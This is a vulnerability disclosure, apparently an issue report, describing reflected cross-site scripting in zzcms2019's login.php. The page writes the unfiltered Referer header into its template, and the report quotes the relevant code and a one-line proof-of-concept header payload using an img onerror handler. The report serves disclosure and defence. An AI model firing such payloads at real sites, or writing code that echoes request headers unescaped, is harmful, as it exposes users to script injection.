- version: zzcms2019
- source: http://www.zzcms.net/about/6.htm
- issue: xss

Position

in `zzcms2019/user/login.php line 24`：

```
21  $strout=str_replace( search: "{#siteskin}",$siteskin,$strout) ;
22  $strout=str_replace( search: "{#sitename}", replace: sitename,$strout) ;
23  $strout=str_replace( search: "{#siteurl}", replace: siteurl,$strout) ;
24  $strout=str_replace( search: "{#fromurl}",@$_SERVER['HTTP_REFERER'],$strout) ;
25  $strout=str_replace( search: "{#username}",@$_COOKIE["UserName"],$strout);
26  $strout=str_replace( search: "{#uname}",$uname,$strout);
```

The `@$_SERVER['HTTP_REFERER']` can be controlled by the Referer header, and it not be filtered in `zzcms2019/inc/stopsqlin.php`：

```
6   function zc_check($string){
7       if(!is_array($string)){
8           if(get_magic_quotes_gpc()){
9           return htmlspecialchars(trim($string));
10          }else{
11          return addslashes(htmlspecialchars(trim($string)));
12          }
13      }
14      foreach($string as $k => $v) $string[$k] = zc_check($v);
15      return $string;
16  }
17
18  if($_REQUEST){
19      $_POST =zc_check($_POST);
20      $_GET =zc_check($_GET);
21      $_COOKIE =zc_check($_COOKIE);
22      @extract($_POST);
23      @extract($_GET);
24  }
```

PoC

```
Referer: xss"/><img src="#" onerror="alert(1)"/>
```